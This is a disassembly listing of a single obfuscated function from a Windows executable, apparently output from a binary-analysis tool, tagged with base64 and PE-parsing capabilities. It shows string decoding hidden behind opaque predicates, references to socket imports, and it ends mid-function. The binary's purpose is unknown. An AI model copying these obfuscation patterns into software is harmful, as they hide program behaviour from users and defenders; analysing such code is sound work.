Function at 0x14012c720
Capabilities:
Encode data using base64
Parse pe header

Disassembly:
mov word [rsp + 0x20], r9w
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc8]
sub rsp, 0x1c8
mov r15, qword [0x1402cdcd0]
mov qword [rbp + 0x110], r15
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov r13, rax
movabs rax, 0x48d159e26af37c05
imul r13
mov r12, rdx
sar r12, 0xa
mov rax, r12
shr rax, 0x3f
add r12, rax
movabs rax, 0x2aaaaaaaaaaaaaab
imul r12
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 3
sub r12, rax
movabs r8, 0x8888888888888889
mov rax, r8
imul r13
lea rcx, [rdx + r13]
sar rcx, 5
mov rax, rcx
shr rax, 0x3f
add rcx, rax
mov rax, r8
imul rcx
add rdx, rcx
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3c
mov rdx, rcx
sub rdx, rax
mov qword [rbp + 0x120], rdx
imul eax, ecx, 0x3c
sub r13d, eax
mov edx, 7
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rax, [rbp + 0x18]
mov qword [rbp + 0x10], rax
mov word [rbp - 0x68], 0x41a3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x66], xmm0
movups xmmword [rbp - 0x56], xmm0
mov byte [rbp - 0x46], al
movabs rsi, 0x7036ec8ed4e947e7
movabs rdi, 0xcd40742486bc8e3
movabs r14, 0xda901dc9ca699ef9
movzx r11d, byte [rbp + 0x128]
nop
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
movabs rcx, 0x66de0b43c0feeb0b
cmp rbx, 0x23
jae 0x14012d432
movzx r10d, byte [rbp + rbx - 0x68]
movzx edx, r10b
cmp r8, rbx
ja 0x14012d429
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14012c8ab
add rcx, rbx
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 0x4d
jmp 0x14012c8e4
je 0x14012d3b9
inc rax
cmp r8, rax
je 0x14012d359
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012d30e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14012d2b2
lea rax, [r9 + 4]
cmp r8, rax
je 0x14012d288
movzx edx, r10b
nop dword [rax + rax]
cmp r9, rbx
ja 0x14012d420
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x14012c91a
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x51
jmp 0x14012c963
lea rax, [r9 + 1]
cmp r8, rax
je 0x14012d232
inc rax
cmp r8, rax
je 0x14012d205
cmp r8, rcx
je 0x14012d1e1
lea rax, [r9 + 5]
cmp r8, rax
je 0x14012d1bd
lea rax, [r9 + 7]
cmp r8, rax
je 0x14012d199
lea rax, [r9 + 4]
cmp r8, rax
je 0x14012d167
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14012ce89
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14012ce6c
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14012ce44
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14012ce24
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14012ce05
lea rax, [r9 + 2]
cmp r8, rax
je 0x14012cdeb
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14012cdd1
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14012cdb2
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14012cd98
lea rax, [r9 + 1]
cmp r8, rax
je 0x14012cd6b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012c970
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14012d405
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14012d3eb
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14012cb3d
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14012cb22
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14012cb07
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14012cd21
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14012ccd0
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14012ccb3
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14012cc91
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14012cc64
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14012cc4a
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14012cc2b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14012cc0c
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14012cbf2
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14012cbd3
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14012cbb2
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14012cb8a
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14012cb6b
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 2]
jmp 0x14012c970
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x31
jmp 0x14012c963
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x35
jmp 0x14012c8f0
movabs rcx, 0x3f17f0bac66df2cd
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x65
movabs rcx, 0x66de0b43c0feeb0b
jmp 0x14012c880
lea edx, [rbx + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14012d251
lea edx, [rbx + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x14012c862
lea ecx, [rbx + 0xc]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x54
dec rbx
inc rbx
jmp 0x14012c862
lea edx, [rbx - 0xa]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14012d2d5
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x14012d2f2
lea edx, [rbx - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14012d2f5
lea edx, [rbx - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14012d331
lea ecx, [rbx - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x52
jmp 0x14012d37c
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012c862
lea ecx, [rbx + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x37
mov byte [rbp + rbx - 0x68], r11b
inc rbx
jmp 0x14012c862
movzx edi, bl
lea ecx, [rdi + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x63
jmp 0x14012d0f1
lea ecx, [rbx + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 3
cmp r8, 0xa
jae 0x14012d12e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14012d045
movzx edi, bl
lea edx, [rdi - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14012d0f1
lea ecx, [rbx + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x69
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x14012d14b
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14012cf36
lea ecx, [rbx - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x59
jmp 0x14012cce5
lea edx, [rbx + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012c862
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
jmp 0x14012d37c
lea edx, [rbx + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14012d331
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x14012d2f5
lea ecx, [rbx + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7e
jmp 0x14012d2f2
lea edx, [rbx - 4]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14012d2d5
lea ecx, [rbx - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
dec rbx
inc rbx
jmp 0x14012c862
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x14012c862
movzx edi, bl
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x16
jmp 0x14012d254
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x14012ceb6
movabs rcx, 0x66de0b43c0feeb0b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x4d
jmp 0x14012cd36
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012ceec
lea edx, [rbx - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012c862
inc rax
cmp r8, rax
jne 0x14012cf13
lea edx, [rbx - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14012d331
cmp r8, rcx
jne 0x14012cd36
lea ecx, [rbx + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xa
jmp 0x14012d2f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012cf5c
movzx edi, bl
lea ecx, [rdi - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xd
jmp 0x14012d254
inc rax
cmp r8, rax
jne 0x14012cf84
lea ecx, [rbx - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x27
dec rbx
inc rbx
jmp 0x14012c862
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012cfa7
lea ecx, [rbx - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3f
jmp 0x14012d2d5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012cfca
lea ecx, [rbx + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5b
jmp 0x14012d2f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14012cfed
lea ecx, [rbx + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x71
jmp 0x14012d331
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14012d010
lea ecx, [rbx + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x29
jmp 0x14012d37c
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14012cce5
lea ecx, [rbx + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3d
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012c862
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012d076
lea ecx, [rbx - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012c862
inc rax
cmp r8, rax
jne 0x14012d098
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x14012d331
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012d0c0
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14012d2f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012d0ee
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x14012c862
movzx edi, bl
cmp r9, 0x1000
jb 0x14012d117
lea ecx, [rdi + 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x5c]
jmp 0x14012d254
movabs rdi, 0xcd40742486bc8e3
mov byte [rbp + rbx - 0x68], r11b
inc rbx
jmp 0x14012c862
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
add r11b, r10b
jmp 0x14012d2d5
lea edx, [rbx - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14012d331
movabs rcx, 0xabd3b75266d5cead
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x45
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012c862
movabs rcx, 0x105b8a4362da2281
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x79
jmp 0x14012d331
movabs rcx, 0x74e35d345ede7655
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x53
jmp 0x14012d2f2
movabs rcx, 0xa72746acdce0a03f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x47
jmp 0x14012d2d5
movabs rcx, 0xbaf199dd8e4f413
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x7b
inc r9
dec rbx
inc rbx
jmp 0x14012c862
movabs rcx, 0x3df3031656e71dfd
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x15
movzx edi, bl
add dil, 0x6d
movzx eax, dil
and al, r10b
add al, al
sub dil, al
add dil, 5
add dil, r10b
mov byte [rbp + rbx - 0x68], dil
movabs rdi, 0xcd40742486bc8e3
inc r9
dec rbx
inc rbx
jmp 0x14012c862
movabs rcx, 0x702a8f84eefc5a5
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x7d
dec rbx
inc rbx
jmp 0x14012c862
movabs rcx, 0x39469270ccf1ef8f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x17
movzx r10d, dl
lea ecx, [rbx - 0x7d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x6b
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx - 0x68], r10b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14012c862
movabs rcx, 0xd0124eda46f86d4d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x1b
movzx r10d, dl
lea edx, [rbx - 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x2f
add cl, dl
movzx eax, cl
mov byte [rbp + rbx - 0x68], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14012d37c
movabs rcx, 0x2563852c4fa9737
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x7f
movzx r10d, dl
lea ecx, [rbx - 0x5c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x7c
add r10b, cl
mov byte [rbp + rbx - 0x68], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012c862
movabs rcx, 0x349a21cb42fcc121
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x19
movzx eax, byte [rbp + rbx - 0x68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14012c862
sub bl, 0x49
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
dec r11b
jmp 0x14012c85e
sub bl, 0x5f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x67
jmp 0x14012c84f
lea rbx, [rbp + 0x145eafc]
jmp 0x14012d436
lea rbx, [rbp + 0x84d607]
jmp 0x14012d436
lea rbx, [rbp - 0x68]
movzx edx, byte [rbp + 0x128]
lea rcx, [rbp + 0x18]
call fcn.140002dc0
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14012d450
mov rdx, rbx
lea rcx, [rbp + 0x18]
call fcn.140004830
nop
lea rax, [rbp + 0x18]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x18]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002bd0
nop
lea rcx, [rbp + 0x18]
call fcn.140002a20
mov edx, 3
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rsp + 0x20], 0xf7a4bdb1
mov dword [rsp + 0x24], 0xa9b6b4ae
mov dword [rsp + 0x28], 0xb3bfa3f8
mov word [rsp + 0x2c], 0xfdae
mov byte [rsp + 0x2e], reloc.WLDAP32.dll_Ordinal_30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2f], xmm0
mov dword [rsp + 0x3f], eax
movzx ebx, byte [rbp + 0x128]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor r14d, r14d
movabs rcx, 0x2248d8045271c6b2
cmp r14, 0x23
jae 0x14012dd6d
movzx r11d, byte [rsp + r14 + 0x20]
mov r15d, r11d
cmp r8, r14
ja 0x14012dd64
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14012d52a
add rcx, r14
mov rax, rcx
and rax, r15
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r15
add bl, 0x22
jmp 0x14012d563
je 0x14012dceb
inc rax
cmp r8, rax
je 0x14012dc5e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14012dc0b
lea rax, [r9 + 2]
cmp r8, rax
je 0x14012dbeb
lea rax, [r9 + 6]
cmp r8, rax
je 0x14012dba8
movzx r10d, r14b
cmp r9, r14
ja 0x14012dd5b
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14012d590
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x36
jmp 0x14012d5c3
lea rax, [r9 + 1]
cmp r8, rax
je 0x14012db8d
inc rax
cmp r8, rax
je 0x14012db64
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012db42
lea rax, [r9 + 6]
cmp r8, rax
je 0x14012db28
lea rax, [r8 + r9]
cmp rax, r14
jbe 0x14012d827
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14012d80d
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14012d7e8
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14012d7c2
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14012d7a4
lea rax, [r9 + 9]
cmp r8, rax
je 0x14012d5d0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14012dd3b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14012dd1f
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14012d6bf
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14012d6a1
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14012d758
lea r8, [r9 + 0x1000]
lea r9, [r8 + 6]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14012d73b
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14012d71b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14012d701
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14012d6e5
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x80]
jmp 0x14012d5d0
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14012d567
sub r10b, 0x22
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x12
movabs rcx, 0x2248d8045271c6b2
jmp 0x14012d500
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 4
jmp 0x14012dc46
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x48
jmp 0x14012dc7f
add r10b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14012dcaa
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x14012dd08
lea ebx, [r10 + 0x6e]
movzx eax, bl
and al, r11b
add al, al
sub bl, al
sub bl, 2
add bl, r11b
cmp r8, 1
jae 0x14012daf0
lea rcx, [r9 + 3]
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012da20
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x14012dd08
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14012dc24
add r10b, 0x44
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec r14
inc r14
jmp 0x14012d4e3
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
inc r9
dec r14
inc r14
jmp 0x14012d4e3
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x64
jmp 0x14012dbc1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14012d881
lea ecx, [r10 - 0x4e]
movzx eax, cl
and al, r11b
mov ebx, reloc.WS2_32.dll_recvfrom
sub bl, al
add bl, bl
add bl, cl
add bl, r11b
lea rax, [r9 + r8]
cmp rax, 8
je 0x14012db0d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14012d955
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14012d769
jne 0x14012d8ae
add r10b, 0x34
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6c
movzx eax, byte [rsp + r14 + 0x20]
add rax, r9
add r14, rax
inc r14
jmp 0x14012d4e3
inc rax
cmp r8, rax
jne 0x14012d8d4
lea edx, [r10 - 4]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14012dc7f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012d8fd
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14012dc46
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14012d922
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5c
jmp 0x14012dc43
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14012d848
sub r10b, 0x74
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec r14
inc r14
jmp 0x14012d4e3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14012d97c
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14012dbc1
inc rax
cmp r8, rax
jne 0x14012d9a9
add r10b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5e
inc r9
dec r14
inc r14
jmp 0x14012d4e3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14012d9d4
sub r10b, 0x6a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1a
dec r14
inc r14
jmp 0x14012d4e3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14012d9f9
sub r10b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x4e
jmp 0x14012dc46
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14012d76c
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xa
jmp 0x14012dc7f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14012da45
sub r10b, 0x6c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xc
jmp 0x14012dc46
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14012da6c
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14012dc24
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14012da97
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
dec r14
inc r14
jmp 0x14012d4e3
cmp r8, rcx
jne 0x14012daba
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14012dbc1
cmp r9, 0x1000
jb 0x14012dae3
